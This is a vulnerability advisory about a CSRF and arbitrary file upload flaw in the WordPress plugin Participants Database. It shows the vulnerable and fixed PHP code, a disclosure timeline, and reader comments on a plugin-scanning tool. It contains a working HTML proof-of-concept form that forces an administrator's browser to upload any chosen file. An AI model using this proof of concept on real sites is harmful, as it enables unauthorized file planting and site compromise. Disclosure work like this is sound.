Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Participants Database
We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across a cross-site request forgery(CSRF)/arbitrary file upload vulnerability in the plugin Participants Database.
The plugin’s “Import CSV File” admin page, which is accessible to Administrators, is generated by the file /upload_csv.php. At the beginning of the file it checks that file is not being loaded directly and that the person accessing it has the proper permission to access it. It then creates a new instance of the class PDb_CSV_Import:
1 2 3 4 5 6 7 | <?php if ( !defined( 'ABSPATH' ) ) exit; if ( !Participants_Db::current_user_has_plugin_role( 'admin', 'upload csv' ) ) exit; $CSV_import = new PDb_CSV_Import( 'csv_file_upload' ); |
As defined in the file /classes/PDb_CSV_Import.class.php that class extends the class xnau_CSV_Import:
17 | class PDb_CSV_Import extends xnau_CSV_Import { |
The final line of the PDb_CSV_Import class’ __construct() function runs the __construct() function of its parent class (xnau_CSV_Import):
43 | parent::__construct( $file_field_name ); |
The __construct() function of xnau_CSV_Import, located in the file /classes/xnau_CSV_Import.class.php, would save the file sent along with the request without checking for a valid nonce, which permits CSRF, and without checking what type of files is being uploaded:
83 84 85 86 87 88 89 90 91 92 93 | function __construct($file_field) { $this->_set_root_path(); if (isset($_POST[$file_field])) { if ($this->_set_upload_dir()) { $target_path = $this->root_path . $this->upload_directory . basename($_FILES['uploadedfile']['name']); if (false !== move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { |
After we notified the developer of plugin of the vulnerability they fixed it in version 1.7.5.4 by adding a new function that checks for a valid nonce and does a couple of checks on the file to be uploaded (the extension check through pathinfo() being the one with a security impact):
146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | protected function check_submission() { $nonce = filter_input(INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING ); if ( ! wp_verify_nonce( $nonce, self::nonce ) ) { return false; } $filename = filter_var( $_FILES['uploadedfile']['name'], FILTER_SANITIZE_STRING ); $mimetype = filter_var( $_FILES['uploadedfile']['type'], FILTER_SANITIZE_STRING ); $check = pathinfo( $filename, PATHINFO_EXTENSION ) === 'csv' && $mimetype === 'text/csv'; if ( $check ) { return true; } $this->set_error_heading( __('Invalid file for import.', 'participants-database') ); return false; } |
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/participants-database/, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin.php?page=participants-database-upload_csv" method="POST" enctype="multipart/form-data"> <input type="hidden" name="csv_file_upload" value="true" /> <input type="file" name="uploadedfile" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- August 4, 2017 – Developer notified.
- August 4, 2017 – Developer responds.
- August 5, 2017 – Version 1.7.5.4 released, which fixes vulnerability.
Hi,
I used your Plugin Security Checker plugin on plugins I am considering and comparing for use. I am really impressed.
About half of the plugins came back “clean” for items the automated tool could test for. The rest showed vulnerabilities relating to Ajax calls.
One showed base64 obfuscation. I won’t say which one here, but you are welcome to contact me on the email provided if there are any details you would like.
And one (this one) showed a possible arbitrary file upload vulnerability in the two latest versions.
I read a lot of security info on your site and knowing how passionate you are about this particular vulnerability, so much to pro-actively monitor for it, I thought I should let you know about the result.
We wouldn’t recommend using the tool to do comparisons of plugins since it only identifies the possibility of some issues, so a plugin might have possible security issues identified and be perfectly secure, while a plugin that doesn’t have any issues identified could be very insecure. For example, base64 obfuscation might be an indication of a something of concern or might be of no concern, but either way it seems that uses it would normally be in violation of the guidelines of the Plugin Directory. Instead we would recommend that plugins with possible issues should be checked more thoroughly someone that has the proper expertise to handle that.